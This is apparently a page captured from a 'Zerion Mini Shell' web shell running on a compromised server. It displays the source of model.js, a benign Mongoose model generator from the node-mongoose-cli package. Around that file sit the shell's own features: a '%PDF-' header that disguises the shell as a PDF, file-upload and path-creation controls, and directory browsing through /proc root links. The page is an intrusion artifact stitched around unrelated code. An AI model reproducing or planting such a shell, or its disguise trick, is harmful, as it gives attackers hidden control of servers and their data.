%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /proc/3/root/proc/2/root/usr/local/lib/node_modules/node-mongoose-cli/commands/
Upload File :
Create Path :
Current File : //proc/3/root/proc/2/root/usr/local/lib/node_modules/node-mongoose-cli/commands/model.js

var fs = require('fs');
var ejs = require('ejs');
var root = __dirname + '/../';


module.exports = function model(name) {

  if (!name) return console.bgRed('Must supply a name for the model.');
  name = name.pascal();
  var attrs = [].slice.call(arguments, 1);
  var secureAttrs = [];
  attrs = parseAttrs(attrs, secureAttrs);

  this.parent.init();
  console.cyan(`Creating new model: ${name}`);

  var file = ejs.render(
    fs.readFileSync(root + 'templates/model.ejs', 'utf-8'), 
    { name, attrs, secureAttrs, secure: secureAttrs.length }
  );

  fs.writeFileSync(`db/models/${name}.js`, file);
  console.green(name + ' was successfully created!');
}

function parseAttrs(attrs, secureAttrs) {
  attrs = attrs.reduce((obj, pair) => {
    pair = pair.split(':');
    obj[pair[0]] = pair[1].pascal();
    return obj;
  }, {});

  for (var attr in attrs) {
    var dataType = attrs[attr];
    if (dataType.slice(0, 2) === 'Id') {
      attrs[attr] = `Schema.Types.ObjectId, ref: '${dataType.slice(2)}'`;
    } 
    else if (dataType === 'Mixed') {
      attrs[attr] = `Schema.Types.Mixed`;
    }
    else if (dataType === 'Encrypted') {
      attrs[attr] = 'String';
      secureAttrs.push(attr);
    }
    else if (!global[dataType]) {
      throw new Error('\033[31m Invalid Data Type: \033[0m' + dataType);
    }
  }
  return attrs;
}

Zerion Mini Shell 1.0